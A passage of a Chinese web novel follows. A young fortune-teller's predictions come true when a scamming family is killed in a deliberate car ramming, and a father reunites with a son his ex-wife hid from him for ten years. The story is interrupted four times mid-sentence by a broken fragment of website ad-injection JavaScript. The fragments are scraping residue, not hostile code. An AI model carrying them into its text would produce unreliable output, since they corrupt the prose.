言雯长得好看,就算对方报警,也能有缓冲余地,那现在呢? 都怪言雯!他欲哭无泪的望着言父,他爸能帮他还上吗? 电梯门开了,楼道里空无一人,言伟忍不住催促:“爸,家里有多少钱。” 他妈默不作声去开门,言伟又说:“那家伙不信我,现在我说什么都不信,我已经发了照片……” 言父瞪他一眼,往后看了看:“明早去找律师……” 言伟噤声,跟着往后看一眼,没人,但他莫名感觉毛毛的。 言伟又拿起手机,对方没再回复,言伟进了家门,最终干巴巴的说:我真的没骗你。 一夜无眠,言伟也不知道该怎么办,他只能靠爸妈。早晨八点他难得起来,发现他妈在卫生间里哭,言伟也有点难受。 “对不起妈,我真的错了。”言伟说,“下次不敢了。” 他妈只是哭,不肯回头看他,言伟不高兴道:“我真的知道错了!” 言父穿戴整齐,从卧室里出来,看到妻儿,皱眉道:“墨迹什么,快点。” 言伟就看着他妈擦了眼泪,补了妆,若无其事对他说:“爸妈去见律师,你外边随便买点吃,别乱跑。” 言伟心中一慌:“不带我吗?” 言父说:“带你干什么,你能有什么用!” 见儿子一脸惶惶,又有点心软:“我们去咨询一下,看能不能把家里那套小房子……给你姐姐,让她回来相个亲。” 言伟顿时松口气,连说:“好的好的。”送爸妈到电梯门口,回来在家里兜圈。 九点,他终于饿了,下楼买早餐。朋友给他打电话,他很不耐烦说没空。 朋友问他怎么心情不好,言伟半真半假诉苦:“哎,就是我姐,现在不理我家里,我爸说要把家里一套房子给她……对啊,还把我爸拉黑了。” “她就是脑子有问题,我爸还想给她介绍对象,我看她啊……” 回到周五,言雯和谢洲拖着个小行李箱,下高铁先被谢洲带去玩了一圈,说家里在搞大扫除,晚上回去吃饭。 言雯有点紧张,谢洲安抚道:“没事,我爷爷奶奶都很欢迎你,骂我不早说,突然带你回来,不庄重。我给他们发你照片可以吗?” 谢洲笑道:“我奶奶都请假了,我爷爷原本钓鱼也回来了,你紧张,他们也紧张好不好,别担心。” 他把家人群给言雯看:“看到没,我妈一直夸你文静大方。” 言雯和谢洲他妈视频过,还加了微信,听他这么说心里放松一点。 大概五点半,谢洲带言雯回了家,爷爷奶奶都很热情,谢洲还有个小堂妹,言雯和她也处得来。吃完饭,大家聊了会天,一起出门散步。 没有一直围着言雯打转,但各种安排细致妥帖,气氛不错。 言雯之前和谢洲妈妈视频很轻松,现在到他爷爷奶奶家,感觉他家里氛围融洽自在,难怪谢洲性格活泼开朗。 言雯转头看着谢洲,拉拉他的手,两人相视一笑。 散步回来,才发现晚饭那会舅妈给言雯发了消息,她爸还真找到家里来了。言雯心里一阵腻烦,只靠在谢洲肩膀上,两人聊了会天。 第二天谢洲带她去自己高中看了看,和他高中班主任吃了饭。下午去古镇游玩,换了汉服拍照,两人玩得很开心。 晚一点言雯在手机上收到陌生短信,长长一段话,分了三次发过来。 言父细数这些年心路历程,女儿成长的一些小细节,深情表示其实他一直关注着女儿。又表示对儿子与女儿矛盾的左右为难,只能代为道歉。 反正戏很多,委婉表达自己作为父亲的愧疚,说他其实知道自己对不起她妈妈,所以一直对她抱着回避的态度。 又说想和她当面谈谈,其实他这次去医院检查不太好,想了很久,决定把家里的东西分一分,能给她的给她。 言雯一句话都不信,没搭理,拉黑了。 过不久,他用另一个号码发来短信,表示如果言雯怕首付没法月供,愿意把家里一套小房子给她,这是弟弟也答应了的,家里真心想补偿她。 另外爸爸想给她介绍个对象,年轻有才,27岁,让她回来处处看,这是爸爸朋友的儿子,合适就在一起,这样爸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 爸有个万一也安心。 只字不提他已经从言雯舅妈那知道言雯有男朋友的事。 谢洲一看,脸都黑了,犹豫的瞅了瞅言雯。 他又不能说以后我养你,什么小破房子不要了。老登医院病就病了,雯雯不要管他! 谢洲憋出一句:“苦肉计。” 言雯继续拉黑,笑道:“什么过户没影的事,他一分钱都不会给我。如果真给了我,只能说他要从我身上拿到更多。” 言父是那种对金钱特别警惕的人,家里的钱全在他手里,他老婆日常花费用的都是他的卡,每一笔支出都能查。 他连女儿大学学费都不愿给,象征性的问都不问,可能怕问了言雯真要他出吧,不问就当没这回事。 言雯大学兼职两年,其实也渐渐明白,世上什么样的人都有,偏偏什么样的人都可以做父母。 可能算明白她态度了吧,之后没再有短信发来。 那边言父将手机放在桌子上,看他老婆一眼:“言雯这边不指望了。” 焦躁不安的言伟顿时发飙:“那怎么办!我都说了等周一或周二就见面!” 言父说:“你说周一见面,那个神经病有答应你?” 言伟顿时熄火,对方现在完全不和他沟通,根本不相信他!而且有件事他没跟爸妈说,对方可能已经知道他是男的。 那神经病好像真的在他家附近,不知怎么拍到了他妈的照片,问他:这是不是你妈? 言伟吓得要死,不敢回复,对方说:你妈妈乳腺癌也挺好的,光鲜亮丽。 言伟欲哭无泪:你别这样,我妈她也不知道,你再给我一点时间! 对方:你是说你骗我的事你根本没跟你爸妈说? 言伟不敢回了,但对方又发来一个惊雷:你是男的吧 言伟顿时崩溃,连忙回复:我周一或周二和你见面行吗? 这次换对方不回了,言伟惊魂未定,完全不懂对方怎么知道的,是不是已经找到他家?想发疯,他觉得自己怎么这么可怜! 现在言雯那边也指望不上了,希望彻底破碎。 言伟失魂落魄:“爸,那我怎么办。” 言父和他老婆对视一眼,后者红着眼移开目光,言父说:“周一你和我们去找律师。” 他没说找律师是做什么,实际上,他已经做好和对方协商的准备。如果对方要求全额还款,那他也没有办法。 言父又叮嘱一声:“你说那个精神病已经找上门,今天别出门了。” 最初看到对方发的那些血腥猫狗图和精神病证明言父也慌,但问过律师后,现在还算镇定。该怎么样就怎么样吧,他已经说服了他老婆。 言伟惶惶不安,神经病不回消息他又害怕,于是一直追问:你回信我们好好谈谈 始终不见回复,加上他爸说要找律师,言伟脾气也上来,把他大骂一通,最后道:你来呗,你上门找我,砍死就砍死! 言伟:我们明天去找律师! 周一,言伟脸色发青的起来,到地下车库,和爸妈上了车。 他心情很不好,突然感觉后边车开着大灯,他扭头看了一眼。 “爸——” 17. 血光之灾+丢失的孩子 言雯被谢洲带着玩了个周末,很开心,都说情侣间检验感情的最好方式是旅行,言雯觉得她和谢洲各方面都合拍。 一转眼周一了,两人一二节没课,早上起来收拾东西,谢洲奶奶送言雯一束花,给了万里挑一的红包,谢洲帮她收下了。 路上谢洲说:“给你就收下,我爷爷奶奶都很喜欢你~” 刚下高铁,大概九点多,言雯接到电话,她爸和后妈还有她弟弟被车撞了,据说是被人守在停车场,看到就直接撞飞。 言雯后妈当场死亡,言伟送到医院没多久也死了,言雯她爸正在手术。 言雯顿时震惊,与谢洲面面相觑,忙给王舅妈打电话,想着能不能问问小神婆。 这就是小神婆说的,她被波及瘫痪的血光之灾? 曲欣:“……是的,遭报应了。” 言雯谢洲赶到医院,犯罪嫌疑人供认不讳,说他就是想撞死他们全家! 言雯在手术室等到下午两点半,言父被推进ICU,头发剃了,脑袋血流不止,右边脸上皮肉外翻,下半身血肉模糊,昏迷不醒。 言雯过来签字,表情有点恍惚,医生说话很委婉:“要做好心理准备。” 言雯心中五味杂陈,谢洲说:“别想了,幸好你没事。”他紧紧搂住言雯,声音复杂道:“如果你出事,我真的会发疯。” 不久言雯舅妈过来了,拉住言雯的手:“雯雯别想了,这不关你的事!” 知道他要倒大霉,知道是恶有恶报,没想到会这么惨烈,两条人命,谁知道呢!只能说自作孽不可活,幸好雯雯没事! 当天凌晨三点,言父在ICU去世。 言雯爷爷奶奶去世早,言父和老家亲戚也没什么来往。幸好有舅妈帮衬,舅舅也请假回来,准备遗照寿衣,通知亲友,一切顺利。 言雯才知事情起因是言伟假装女生,骗了人家三百五十多万,被发现后对方找上门,言伟百般推诿,还把言雯照片发给对方! 言父打的算盘是让言雯顶上,想得挺好,不料言雯从头到尾不配合。言伟急上头,言语惹怒对方…… 一家三口要去找律师,对方下定决心,直接撞了! 那人是个名副其实的精神病,反复住院,常年靠吃药维持治疗。他没结婚,有个九岁的儿子养在奶奶身边,月初去世。 据说是爆发性心肌炎,晚上突然发作,他奶奶让儿子送医院,儿子觉得没事,没多久就抽搐离世。 这人受了刺激发病,非要来找言伟结婚,意外发现言伟的自拍照全是盗别人的。他不知怎么找到言家,可能当时就做好了心理准备。 言雯苦笑一声,原本沉重的心归于平静。她该庆幸她没被卷入其中。 不久,舅舅舅妈带着言雯和谢洲去了小神婆家,捐了一笔款。 一家人千恩万谢,多亏了有小神婆,真就一周之内,幸好躲过! 曲欣这会在楼下准备待客,言雯说:“钱还是要还,那边也有赔偿,虽然是精神病,但警察叔叔说他可能属于精神正常时犯罪……” 那人说自己是病发冲动,具体怎么样还要侦查。 曲欣点点头,言雯认真道:“小神婆,谢谢你。” 言雯发自内心的真诚致谢,曲欣也发自内心的感到愉快:“好。如果身边有人要看命,可以推荐我。” 她想说点俏皮话,忍住了,要保持距离,要亲切又威严! 言雯一家走了,曲欣手机震动,上周娄姨说过的谢寻已经到莲花村。他一直和曲欣保持联系,他推荐的同样找儿子的郗芳来过后,当晚就约好时间。 本来约的是上周五,不过谢寻临时收到消息,有个孩子可能是他儿子,于是转道耽搁了。接着他公司又出了点事,他不得不赶回去处理。 再约就今天了,谢寻为此连连道歉,曲欣其实无所谓。 小神婆玩着手机,没多久,一辆车开到前边空地,一个身材高大的中年男子下车,走过来看了看,迟疑道:“是曲小神婆吗?” 谢寻对曲欣年龄并不惊讶,只是在认人。 曲欣颔首答应,他下意识想握手,缩回去,有点尴尬道:“久等了,我是谢寻。” “你坐。”曲欣不想寒暄,仰头打量对方。谢寻连忙坐下来,像个等待老师答复的小学生。 郗芳反复说小神婆神妙,虽然她孩子还没找到,但谢寻期盼着是真的。 曲欣目光滑过谢寻额头,端详他整张面孔,谢寻常年在外奔波,皮肤粗糙,眼角皱纹明显,理着短发,面容宽厚,眼睛专注望着曲欣。 曲欣微微皱眉,谢寻提着心道:“怎么样?” 曲欣说:“你说你儿子是被人贩子跑到院子里直接抱走的?” “对。”谢寻往前坐了坐,解释道,“当时开了好几天的车,回来太累了,吃了碗冷饭很不舒服,好不容睡着,发烧睡太沉了!” 至今他提起过往仍心中暗恨,恨自己睡那么沉,把孩子丢了! 曲欣沉默一瞬,有些同情道:“你的,老婆呢。” 谢寻不知为什么,眼睛突然跳了一下:“她在隔壁邻居家,她去和人聊天,看了会电视,当时看的《甜蜜蜜》,其实她平时不爱和人聊天……” 正解释着,他手机响了,谢寻额头有点冒汗,低头掏出手机,忍不住又看小神婆一眼。 小神婆也在看着他,眼神示意他先接电话。 谢寻莫名想抽烟,他接通电话,是前妻,这些年他们也偶有联系。 “谢寻,我在那个抖音看到你了,你还搞了抖音,你可真时髦。”前妻的声音不客气的响起,永远是那种直白的带着点指责的不满。 “你还在找啊,别找了你,还发什么抖音,你不嫌丢脸!” 谢寻手都有点抖,自从孩子走丢,她一直怪自己,要离婚。等离了婚,一天都没说过要找儿子。偶尔打电话来,说着说着,就是这副口吻。 “别找了,你就是假惺惺,装好人,你以为你找了十年你就是好爸爸!” “你把你儿子害了,还在这装,你害不害臊你!” 谢寻心中怒气翻涌,儿子是只有他一个人的儿子吗? 他知道儿子被抱走他有很大责任,离婚时非常愧疚,给了前妻大部分积蓄。十年了,前妻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一直这副态度,过去他从没怀疑。 可小神婆为什么要同情的看着他,只看一眼,她就知道了他孩子现在在哪? 除非他儿子根本就不是被陌生人带走,一开始就不是人贩子! “你别说了。”谢寻顿了顿,直接道:“我会一直找,找到下一个十年也会找,抖音我也会继续发,我一定要找到儿子!” 其实开口的一瞬间他想问:儿子是不是在你那里。 他又想问:儿子是被你丢了,被你卖了吗? 他没这么说,因为担心打草惊蛇,担心自己想的是错的。 谢寻挂断电话,抬头望着小神婆,两人对视,谢寻隐隐明白过来,苦笑道:“您说。” 曲欣安抚道:“孩子没事,身体健康,我看他一直在母亲身边,也许你可以报警。” 谢寻坐在原地,沉默良久:“她为什么这么对我。” 曲欣说:“理由再多也不能这么做,你儿子应该一开始就被她带走,但你找了十年她都不松口。” 谢寻笑了一下,下意识摸出手机,脑袋里一片空空,直到儿子的相册开始循环播放。 对啊,十年了,受挫或感到痛苦时播放儿子相册都习惯成自然了。她和他有这么大仇恨吗? 肯定有别的原因,所以她怕他真的找到儿子,隔一阵就打电话让他放弃。 过去他还天真的安慰自己,前妻就是这副德行,不用管她。 他居然从没怀疑过她,十年,十年了! 谢寻目眦尽裂,勉强挤出微笑,感激道:“太谢谢你了,小神婆,我……差点就错过,十年前,米神婆……当时没能见到……” 他语无伦次,掉了颗眼泪,马上站起来,宽厚脸上露出坚定神情:“我打算现在就去找她,找到儿子再报警。” “小神婆,谢谢你,如果不是你我还一直被蒙在鼓里!” 谢寻准备了一个大红包,曲欣看一眼,推辞道:“不用那么多……好吧,我这边代你捐掉,别担心,会好的。” 谢寻连连点头,习惯性伸出手,这次曲欣意思意思的握住他指尖,摇了摇。 “小神婆,有什么需要我帮忙的,一定打我电话!等我找到儿子,我再带他来感谢你!” 谢寻走了,整个人压抑着暴风雨前的宁静。 他当天就想办法问到前妻现在的地址,不是她老家也不是过去打工的地方。告诉他消息的人说:“你找她干嘛,她好像几年没回老家了。” 谢寻拐弯道:“她再婚没有,有孩子吗?” 对方:“好像结婚了,孩子那就不知道了。你找她什么事?” 谢寻平静道:“没什么,找她再问问孩子丢的那天的事。” 对方唏嘘一声,不再问了。 谢寻又想给前岳母打电话,他和前妻结婚其实是岳母促成,当时两人在一个地方打工,岳母来看前妻,遇到谢寻,就把女儿说给他。 前岳母是个精明人,对谢寻面上很热情,逢年过节都会打电话,一直关心着外孙被拐的事。 现在想想,也笑自己蠢,电话不打了,直接上门吧! 18. 丢失的孩子 当天晚上六点,裘贝接到她妈的电话,问她是不是又找谢寻麻烦了。 “你能不能消停点,就那么讨厌谢寻?孩子丢了也不全是他的错,你自己什么德行我都懒得说你!”她妈直接说,“他找人问了你现在情况。” 裘贝提着餐盒回家,好心情顿时消失,口气强硬道:“他问我什么,他还敢找我,臭不要脸!” 她妈炒着菜,也很不耐烦:“我怎么知道,说是要找你问孩子的事。” 裘贝有点紧惕:“找谁问的,问了什么?” 她妈:“问了几个亲戚,好了就跟你说一声,反正你也只听那姓帅的,娘家说什么半点不听。” 裘贝没吱声,她妈又叨叨:“当初叫你嫁给谢寻多好,不嫌你二婚,现在开着公司,也没找别人,就你那姓帅的男人,以前不行,现在也只知道让你养……” “好了妈。”裘贝听到她说自己老公不好,立刻不高兴,“康勤他是身体不好,我养着怎么了,我乐意!你可别说这个。” “没良心的,你能养他还不是靠谢寻的钱,你还尽找他麻烦!” 母女俩不欢而散,裘贝心里烦死了,上楼到家,又变出笑脸,她老公开门来接她,咳嗽一声,笑道:“你离我远点,别被我传染了。” 低头一看,又笑:“怎么又点了外卖,这个太贵了。” 裘贝理所当然道:“我回来晚了,要做饭怕饿着你,就这家你最喜欢,再贵也点!” 夫妻俩亲亲热热搂在一起,你侬我侬吃着饭,裘贝突然想起谢寻,又烦,低声跟老公说:“姓谢的不消停,我骂他,他偏说还会继续发,还要找。” “怎么办老公,我儿子……和小时候长得太像了,万一被发现怎么办?” 抬眼看着帅康勤脸色,又赌咒般说:“我肯定是不怕的,就气那小子,从来不跟我亲,吃了我十年饭也不像我,晦气!” 她老公脸色有点难看,安抚她:“我看看能不能举报他那个账号。” 裘贝顿时欢喜:“好,老公你太好了,还是你聪明。” 正说着话,次卧门开了一条缝,儿子帅裘拿着杯子从门里低头走出来,裘贝吓一跳,闭上嘴,又恼怒:“鬼头鬼脑的干什么,在家不知道叫人?” “爸,妈。”帅裘拘谨的喊了一声,脸上明显泛红,“我有点感冒,刚睡着了。” “就你会找借口。”裘贝不给他好脸色,“离远点,别传染给你爸。” 帅裘去厨房,十三四岁的男孩子,身高已经抽条,肩膀变宽,声音也变粗。帅康勤看一眼,低声和裘贝说:“以后在家里不讨论这事。” “好,好,都怪这糟心玩意,每天闷不吭声,看见他我就想骂。” 裘贝一半是为了表忠心,一半也是真烦这儿子,以往回来就躲在房里,半年多了,她有时都会把他忘了,今天才没收住口。 她看出来她老公其实不太喜欢这个儿子,可能因为他近半年开始发育,身高猛涨……要是过了青春期,长得和以前不像就好了。 真是烦人,怎么就不能长得像她一点! 不过,幸好他长得也不太像谢寻,只是体格看着像。 厨房的帅裘轻手轻脚煮着面条,本来只想倒杯热水把药喝了,但他妈今天心情不好,所以还是煮点面吃,等会不出房门,免得讨人厌。 面条在沸腾的水里打转,帅裘时不时用筷子打散。 其实学校最近要交三百块钱,他还没找到时间跟他妈说。 上次要交五十班费,和他妈提了一下,他妈说下次,帅裘只好自己攒了钱交上。他妈妈的下次就是没钱,不想给。 以前其实还好,但他成绩也没下降,他爸妈对他越来越不耐烦了。 帅裘迷茫的盯着锅里面条,他妈老是说他鬼祟,‘见不得人的东西’,可他从房间里出来他妈就不高兴,待在房里反而大家清净。 除了少发出动静,少说话,帅裘不知道他还能怎么办。 客厅里,裘贝虽然对谢寻找她老家打听她很不高兴,但老家本来也没人知道她有儿子,几个问过她的,她都含糊说是她老公带来的继子。 最初那几年她一个人回娘家,儿子让康勤带着,近几年娘家都没回。至于他们现在住的地方,大家都以为帅裘是他夫妻俩的儿子。 要是帅裘长得像她就好了,裘贝心知肚明,这样她老公也能看他顺眼一点。 怪这儿子长得不合适,性格也闷,这样还怎么养老,一看就没出息。 裘贝不知道的是,谢寻当晚已经赶到她所在的城市。 落地挺晚,谢寻找了个宾馆住着,不知道儿子现在怎样,裘贝对他好不好? 过去他觉得裘贝只是不爱说话,待在自己的套子里不愿长大,离婚后对他越来越不客气,可能是吃了苦,也怨怪他丢了孩子。 一旦得知这十年都是她做的怪,原本对她的看法彻底坍塌! 自私自利,胆大包天,还无耻,全无心肝! 明明是她带走儿子,却还能仗着他不知情处处怨怪责骂。 难道她骂着骂着,真以为她说的那些就是事实了吗? 夜里三四点,谢寻翻来覆去,终于睡着。一大清早,谢寻拿着那不太详尽的地址找到小区,六点出头,学生们纷纷结伴上学。 谢寻站在门口,殷切打量着每一张年轻稚嫩的脸,没有找到儿子。 小区门卫大爷从门卫室探出头,看他表情古怪,不由盯着他。 过了八九分钟,学生们似乎听到什么召唤,一股脑跑起来,谢寻一看时间,6:16了。 谢寻缓缓松下肩膀,走到门卫室,几经沟通,从门卫大爷那打听到,裘贝是有个儿子,名字叫帅裘,今年读初二,早上学去了。 不过,对方说:“年龄不对啊,今年14岁了,他是裘贝老公带过来的,不是你儿子吧?” 小区里可能大家以为那就是正常的一家三口,他不同,他知道裘贝前几年回娘家都不带老公孩子,那肯定是半路夫妻。 谢寻心砰砰直跳,打开手机相册:“您看像吗?” 对方眯着眼睛,一看就说:“像,那确实有点像,哎,还真是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你儿子啊!” 谢寻心里尘埃落定,有点像笑,又想哭,脸上尽是难过与喜悦,搞得门卫大爷也隐隐触动,这还真是找儿子的,找了十年! 他掂量着兜里那几百块钱,突然觉得有点烫手。 谢寻心里说,感谢小神婆,谢谢,他找到儿子了,他终于找到了! 这瞬间他心底极度憎恨裘贝,她把自己儿子带走,改了姓,一去就是十年,她怎么这么狠心! “那就是我儿子。”谢寻抹了把脸,重重的说,“我要报警。” 门卫大爷有点犹豫,这要从他这里走了,转头就报警,也不好。 大爷就说:“难怪长得不像裘贝她老公,这两口子对孩子也挺冷淡的。哎,帅裘他初中没多远,你要不先见见?” “好,好,麻烦您告诉我地址!”谢寻骤然打起精神。 门卫大爷只知道是初二,不知道哪个班级,谢寻连连道谢。 他急匆匆去见儿子,路上想:儿子还记得他吗?他们分开的时候儿子太小了,不记得也没什么,他把相册给他看,他还有好多视频。 又想,改了姓名,改了年龄,从不让他知道儿子的存在,这是一早就想好的?裘贝是不是婚内出轨,故意找茬离婚? 冷静,先见到儿子再说! 谢寻找到学校,门卫不让进,谢寻把自己身份证,儿子小时候照片摆出来,说离婚后前妻带走孩子,现在改名帅裘,请对方帮忙联系学校。 班主任匆匆来了,掏出手机打帅裘妈妈的电话,怎么都不接。 他没帅裘爸爸的电话,这夫妻俩都不怎么管孩子……原来是后爸啊。 “我报警吧。”谢寻觉得自己昏头,听到门卫大爷说裘贝对孩子冷淡他就只想着来见儿子,但他也想报警,他不愿当作什么事都没发生! 班主任这下同意让谢寻去见帅裘,毕竟是孩子生父。 儿子教室在三楼,谢寻跟着老师,不由整理自己衣服,他心口微微发热,告诉自己一定要好好安抚儿子,要镇定! 十年过去,儿子可能不记得他,肯定会慌,他要照顾好儿子情绪…… 上了楼梯,几个和儿子一般年龄的学生跑过来,谢寻目光在孩子们中寻找,班主任说:“可能在教室,我把他叫到办公室,您在这等吧。” 谢寻想了想,点头答应,班主任带他到办公室里边那间小办公室坐下,谢寻忍不住道:“老师……我儿子,他过得好吗?” 老师回过头,安抚道:“帅裘同学平时比较内向,但成绩很好,和同学相处也不错。” 谢寻听得连连点头,等老师走出几步,才说:“谢轩,我儿子叫谢轩。” 小办公室除了他没别人,谢寻心中思绪万千,想给小神婆发个消息,又怕打扰到她。 谢寻打开自己的相册,他的抖音,他这些年关于儿子的一切资料。 突然门口光线一暗,谢寻顿时站起来,脑中一片空白。 一个高高瘦瘦,面容稚嫩的男孩正茫然望着他。 谢轩!这是他分开十年的儿子! 19. 丢失的孩子 谢寻贪婪打量着儿子,忍不住攀住他肩膀,想抱住他,又怕吓到他。 “我,我是你爸爸。”拉着儿子的手,谢寻喜形于色,谢轩只呆呆看着他,没有抗拒的任他抓着,谢寻说,“我是你爸爸,谢寻!” 本来他有好多话想说,想解释这十年爸爸是被骗了才没来找他,想把自己的寻儿记录给他看,想说自己一直很想他。 可他一开口就语无伦次:“儿子,你还记得我吗?” 他望着对方陌生的,有些紧张的眼神,心中酸楚:“我们住在河边,门前有个小院子,你有一辆黄色的小车,门后是菜园,我抱你去摘黄瓜,你手劲可大了,摘不下来,让我帮忙……” “你妈把你带走了……骗我说你被人贩子抱走了……我找啊,找了十年,你看,你看……这是你三岁时候,这是两岁……是不是很像……” 他说着说着,恨不得嚎啕大哭,怎么能吓到儿子! 帅裘看着眼前这高大的中年人,又看他抓着的手机,抖音播放着一段视频:“这是我儿子谢轩,2008年10月12日,他在自家院子里被人贩子抱走,他身穿深蓝色印有宇航员的衣服,穿黄色鞋子,性格乖巧……人贩子戴黑色帽子,戴口罩,穿黑色大衣,体型较瘦小……” 班主任在外边办公室看了一眼,把门悄悄带上。 谢寻抹了把眼泪:“你看我鼻子,都说我和你鼻子像,都是方脸。你以前叫谢轩,我喊你轩轩,你特别爱吃鱼。” “其实你今年13岁,你妈把你年龄改大了,你走的时候才三岁,我给你买了个五颜六色的小风车,让你骑在脖子上举着玩……” 帅裘不知为什么,心中突然有种深刻的情感。其实他能感觉在他小时候,他爸爸是非常疼爱他的。对方这么一说,他竟然有个模糊的印象! ——他曾开心的坐在爸爸脖子上,被他抓着手,托着后背,一路和人打招呼,红黄蓝绿四色的小风车哗啦啦的转。 帅裘眼睛湿了,父子俩泪眼相对,谢寻期待又喜悦的凝视着他。 “爸爸……”帅裘迟疑片刻,不知不觉喊出声。 谢寻一下就把他抱在怀里,嚎啕哭喊起来:“轩轩,儿子!爸爸好想你!” 他哭声沉闷,外边办公室都听到了,有老师就问:“这是什么情况?” 帅裘他班主任唏嘘:“被前妻把孩子带走了,好像还骗他孩子是被拐走的。找了十年了。” 不久上课了,班主任没去催,谢寻终于按捺住情绪,摸着儿子的脸,又拉着他的手,上下打量他说:“轩轩长大了,长高了。” 他拍着儿子的肩背,心疼说:“怎么不长肉,头发也要剪了。爸爸带你去剪头发好吗?” 谢寻眼神期待,他只想把儿子带走,好好聊聊对方这些年的经历,培养一下感情。 帅裘脑子也有点混乱,下意识点点头。 他对谢寻有些陌生,但也感觉亲切,看到对方红肿的眼睛,宽厚的脸庞,他关心的话语,帅裘忍不住酸楚,又感觉无边的喜悦。 谢寻镇定下来,找到班主任,请了一天假,说晚上会带儿子去找前妻。班主任迟疑,又打裘贝电话,仍然不接。 谢寻想了想:“不然您跟我去派出所,我儿子被她改名换姓还改了年龄,这事我不能这么算了。” “老师我也跟你明白的讲,我肯定是要带我儿子回老家读书的,年龄也要改回来,我明白学校的顾虑,我肯定不会胡来!” 谢寻看一眼教室里收拾书包的儿子,说:“我要带走我儿子,不会什么抢了人就跑,要打官司也是堂堂正正。” 谢寻好言好语,班主任最终还是让人走了,回头给裘贝打了电话,又发短信,一个回音都没有。 班主任摇摇头,自己对孩子这么不关心,干嘛要把人父子分开。 谢寻带着孩子出了校门,决定先培养一下感情,也问一下儿子对妈妈的态度。 “这是户口本,你看,你名字叫谢轩,我叫你轩轩好吗?” 谢轩脸红了一下,有点犹豫,但还是点了点头。 谢寻就看出这孩子不擅长拒绝别人,可能一直没什么拒绝的权利。 谢寻当作不知道,先带他去剪了个帅气的头发,又给他买了全套的衣服,鞋子。买第一身他就有点迟疑,买第二身他开始感到局促。 谢寻拍了拍他肩膀,认真说:“爸爸离开你太久了,这十年都没给你买过一件衣服,一双鞋,我只想给你更好,更多!” 谢轩眼眶发红,半天才说:“谢谢爸爸。” 长高了,但还是个小孩子,脸皮也薄。 又逛去超市,给他买酸奶,水果,看到玩具也想买,问他:“这个要不要?”谢轩终于鼓起勇气摇头。 谢寻很满意他能提出自己的意见,跟儿子说:“有什么想法都和爸爸说,玩具回去买也行,在这不好放。” 又说起自己发现他丢了,先去哪里找的,找了几个地方,遇到了什么事,谢轩一犹豫,就没好问他关于‘回去’哪里的事。 这有点像默认了,谢轩不知为何,想到以后可能要跟爸爸走,心里很轻松。 父子俩走到一起,可能长相不太相似,但身高体格,说话的细微变化是很像的,任谁看也不会怀疑他们不是父子。 谢寻说起小神婆:“……太感谢了!其实你走丢那年米神婆还在,那会已经动身,但米神婆去世了。要是能早一点。” 他紧紧握住孩子的手:“我就能早点找到你,不让你受苦。” 谢轩想说他没受苦,但谢寻声音颤抖,他能感觉对方一腔父爱,他不愿意说:“其实跟着妈妈也一样。” 他很聪明,隐隐明白养他十年的‘爸爸’一直漠视他,而妈妈的态度永远跟着‘爸爸’走。从前‘爸爸’还装一下,一家人粉饰太平。 自从他长高了,邻居对‘爸爸’说:“幸好帅裘不像你,长得高高大大,以后肯定讨女孩子喜欢。” 那之后‘爸爸’对他看不顺眼,妈妈的态度也变了,时不时说他一顿,讨好他所谓的‘爸爸’。 现在谢轩明白了,爱与不爱是不一样的。 他和爸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 爸从学校出来,爸爸觉得他体温有点高,马上问他是不是感冒了。他昨天吃了药其实好多了,就说没有。 爸爸还是担心,反复说不舒服不要忍着,夏天也可能感冒云云。 爸爸带他去理发,买东西,看到什么都要问他意见,看给他合不合适,随便一个话题,就能提到从前:“你三岁的时候……” 谢轩能听出当他还是小孩时,对方付出了多少时间和精力。 后来可能觉得老是提两三岁怎么样,不好,爸爸就开始问他学习,问他朋友,平时看什么书,现在喜欢吃什么,然后马上想给他买。 谢寻给他的是明明白白的父爱,一切以他为中心。 中午他们去吃饭,谢寻吃着吃着,光看谢轩吃了。谢轩正长身体,也好久没吃过这么丰富可口的饭菜,不知不觉吃的有点多。 谢寻默默看着他,谢轩发现的时候,他已经流了好一会的眼泪。 谢轩不知所措,谢寻其实想问:难道你妈妈都不给你吃饱吗? 他克制住,轻描淡写说:“你继续吃,我就是看到我儿子长这么大,不是被卖了,没被人打,没被人害了去做乞丐,现在这么能吃,我心里高兴。” 他擦掉眼泪,不吝啬表现自己多年来的牵挂与惦记。 谢轩也红了眼眶,主动说:“爸爸,我,我过得很好。” 谢寻口吻温和,笑道:“好,我知道,你继续吃。”见谢轩频频望着他,就夹了刚看他特别喜欢的那几道菜给他。 吃完饭,谢寻说起之后的安排:“你爷爷奶奶去世早,爸爸也没再婚,想带你回老家,老家现在也发展起来了,学校都还不错……” “爸爸开了个小公司,照顾你是没问题的,先给你买套房子,看你考哪里的大学,到时候再买一套,名字也改回来,可以吗?” 谢轩已经决定要跟爸爸走,闻言点点头,想说不用买房子,谢寻开口:“都说房价还会涨,买了就给你的,以后至少不担心买房的事。” “儿子,我和你分开这十年,每天都希望你能健健康康,只要不犯法不伤害自己,你想做什么我都答应。我就盼着你顺心顺意。” 谢寻真切的说:“我这个做爸爸的,只怕自己做不到更好,就想你能健康,快乐,不受苦!” 谢轩站在原地,想说什么,却开不了口。 他眼睛渐渐红了,想到昨天还为妈妈不高兴,只想一直窝缩在房间里。他其实很委屈,但妈妈从来看不到。 从小在那个家里,他像个借住的客人,最好安静的呆在一边,永远也不要惹出麻烦,只在他们需要的时候充场面。 他有个属于自己的房间,但房间之外最好不要突然出现。他可能不缺吃穿,但从没被在乎过,得不到任何关心。 可他小时候明明有爸爸疼爱,他有这么好的爸爸! “爸……”谢轩泪流满面,他终于感觉到委屈。 谢寻重重地应了一声,狠狠抱住他,仿佛能感觉他心中的不平静:“爸爸在这!以后咱们就不用难过了,爸爸永远支持你,爱你!” 20. 丢失的孩子 下午谢寻本想跟儿子说他这些年的经历,但发现儿子已经偏向他这边,他也隐隐感觉儿子跟他妈可能没什么深刻的感情。 裘贝那人有点自我为中心。她还在儿子婴孩时期就无法对他投注母爱,谢寻提醒过,她我行我素。 她只听自己想听的话,明明白白表现她的敷衍,她……可能对谢寻还有股怨气。 可谢寻想不通自己做错了什么。 